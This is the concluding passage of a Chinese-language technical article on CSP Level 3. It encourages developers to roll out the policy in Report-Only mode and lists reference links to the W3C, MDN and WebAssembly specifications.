但技术的演进永无止境。随着 WebAssembly 组件模型（Component Model）的成熟、WASI 2.0 的普及，以及 AI 代码生成工具的广泛使用，新的安全挑战将不断涌现。CSP 作为 Web 安全的核心防线，需要在整个社区的推动下持续演进。

对于开发者而言，现在就是最佳的行动时机：在 Report-Only 模式下部署 CSP 3.0，开始收集数据、建立基线、了解现状。安全不是一蹴而就的目标，而是一个持续改进的过程。CSP 3.0 给了我们新的工具箱，拿起它，从小处着手，让 Web 应用的安全性真正迈上一个新的台阶。

参考链接：

• W3C CSP Level 3 Working Draft (2026): https://www.w3.org/TR/CSP3/
• MDN CSP Documentation: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
• WebAssembly Official Site: https://webassembly.org/
• W3C WebAssembly Spec: https://www.w3.org/TR/wasm-core-3/
• Service Worker Specification: https://www.w3.org/TR/service-workers/